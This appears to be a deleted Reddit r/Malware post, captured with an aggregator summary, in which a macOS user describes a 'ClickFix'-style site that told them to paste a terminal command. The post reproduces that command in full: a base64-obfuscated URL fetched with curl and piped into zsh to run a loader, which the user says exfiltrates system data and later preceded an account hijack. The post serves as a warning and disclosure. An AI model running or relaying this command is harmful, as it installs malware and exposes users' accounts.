Suspicious ass website asking to run a terminal command (MacOS)
Source Reddit Malware
Discussion
A suspicious website (https://tesfilesr.com/) was reported on Reddit to prompt MacOS users to run a terminal command that downloads and executes a hidden shell script. The script acts as a multi-stage loader that collects system information and telemetry, then conditionally executes a second-stage AppleScript payload silently in the background. The original reporter experienced account compromise on Instagram after running the command, indicating potential malicious activity. No official vendor advisory or patch information is available. The threat appears to be a social engineering attack leveraging terminal command execution on MacOS.
r/Malware (opens in a new tab)u/IChewToenails0 points0 comments
- This post was deleted. Content shown was captured before removal.
Soooooo a while ago I found this website called https://tesfilesr.com/ after I was redirected from a fishy free games site. Don't go on it (or do, it's just a set of instructions. Don't follow the instructions I guess)
The site instructed users to run this terminal command: "curl -s $(echo 'aHR0cHM6Ly8xMnJhZnNxd3dxMTIuY29tL2RlYnVnL2xvYWRlci5zaD9idWlsZD01MGU0YWZhY2VjYjcxMDAxZTdlZmJjODU2MTlmY2E0OQ=='|base64 -D)|zsh"
At the time I wasn't thinking right, so I saw that the website had the github logo and said "verified", aaaaaand I actually ran it.
Not too long later, my Instagram acc was hacked:
- Account was set to public
- some crypto scam promo was put on my story.
I kicked them out and changed my password for literally everything)
I analysed the command a bit, and it seems to:
- Use Base64 to decode a hidden URL
- Use curl to download a shell script
- Pipe it directly into zsh to execute
I retrieved the script, and saw that it's a multi stage loader that:
- collects system/locale/IP data
- sends telemetry to a remote server
- conditionally executes a second-stage AppleScript payload via osascript
- and to top it all off, runs it all silently in the background.
But now I'm a bit curious, can someone who's maybe a bit more advanced than me explore this a bit further? Thanks!!